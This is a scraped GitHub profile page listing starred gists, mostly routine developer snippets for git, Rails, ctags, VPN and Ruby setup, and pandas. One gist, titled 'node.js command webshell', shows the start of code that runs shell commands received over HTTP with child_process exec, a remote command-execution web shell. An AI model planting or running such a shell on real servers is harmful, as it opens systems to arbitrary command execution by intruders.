Skip to content

Instantly share code, notes, and snippets.

View edersonbadeca's full-sized avatar
💭
Creating a better world line by line

Ederson Badeca edersonbadeca

💭
Creating a better world line by line
View GitHub Profile
@schacon
schacon / gist:942899
Created April 26, 2011 19:19
delete all remote branches that have already been merged into master
$ git branch -r --merged |
grep origin |
grep -v '>' |
grep -v master |
xargs -L1 |
awk '{split($0,a,"/"); print a[2]}' |
xargs git push origin --delete
@erichurst
erichurst / database.yml.example mysql2
Created May 9, 2011 02:58
Rails 3 database.yml examples
# MySQL. Versions 4.1 and 5.0 are recommended.
#
# Install the MySQL driver:
# gem install mysql2
#
# And be sure to use new-style password hashing:
# http://dev.mysql.com/doc/refman/5.0/en/old-client.html
development:
adapter: mysql2
encoding: utf8
@nazgob
nazgob / ctags.setup
Created January 6, 2012 13:44
ctags setup on mac
# you have ctags but it does not work...
$ ctags -R --exclude=.git --exclude=log *
ctags: illegal option -- R
usage: ctags [-BFadtuwvx] [-f tagsfile] file ...
#you need to get new ctags, i recommend homebrew but anything will work
$ brew install ctags
#alias ctags if you used homebrew
$ alias ctags="`brew --prefix`/bin/ctags"
@leommoore
leommoore / RailsValidation.rb
Created April 6, 2012 21:37
Rails Validation
validates_presence_of
# Attribute must not be blank (nil, false, "", " ",[] ,{})
# :message => "can't be blank"
validates_length_of
# Attribute must meet the length requirements of the options
# :is, :minimum(integer)
# :within, :in(range)
# :wrong_length => "is the wrong length (should be {{count}} characters)"
# :too_short => "is too short (minimum is {{count}} characters)"
@moklett
moklett / openconnect.md
Created July 24, 2012 15:21
OpenConnect VPN on Mac OS X

Unfortunately, the Cisco AnyConnect client for Mac conflicts with Pow. And by "conflicts", I mean it causes a grey-screen-of-death kernel panic anytime you connect to the VPN and Pow is installed.

As an alternative, there is OpenConnect, a command-line client for Cisco's AnyConnect SSL VPN.

Here's how to get it set up on Mac OS X:

  1. OpenConnect can be installed via homebrew:

     brew update
    

brew install openconnect

@sferik
sferik / install-ruby-2.0.0.sh
Created November 5, 2012 02:28
Instructions to install on Ruby 2.0.0 on Mac OS X with homebrew
#!/usr/bin/env sh
brew update
brew install rbenv
brew install ruby-build
brew install openssl
CONFIGURE_OPTS=--with-openssl-dir=`brew --prefix openssl` rbenv install 2.0.0-preview1
@khakimov
khakimov / gist:5130151
Created March 10, 2013 19:53
node.js command webshell
var sys = require('sys'),
exec = require('child_process').exec,
child,
http = require('http');
child = function(res, cmd) {
exec(cmd,
function (error, stdout, stderr) {
res.end(stdout);
if (error !== null) {
@thom-nic
thom-nic / cx_oracle_instructions.md
Created July 16, 2013 19:14
Installing CX Oracle for Python & Mac OS X. Instructions exist around the web, but they seem to be piecemeal and incomplete.
@bsweger
bsweger / useful_pandas_snippets.md
Last active April 19, 2024 18:04
Useful Pandas Snippets

Useful Pandas Snippets

A personal diary of DataFrame munging over the years.

Data Types and Conversion

Convert Series datatype to numeric (will error if column has non-numeric values)
(h/t @makmanalp)

@drobune
drobune / gist:e03d64ef7ba02864781a
Created December 12, 2014 07:11
get only status code on curl
curl -LI mazgi.com -o /dev/null -w '%{http_code}\n' -s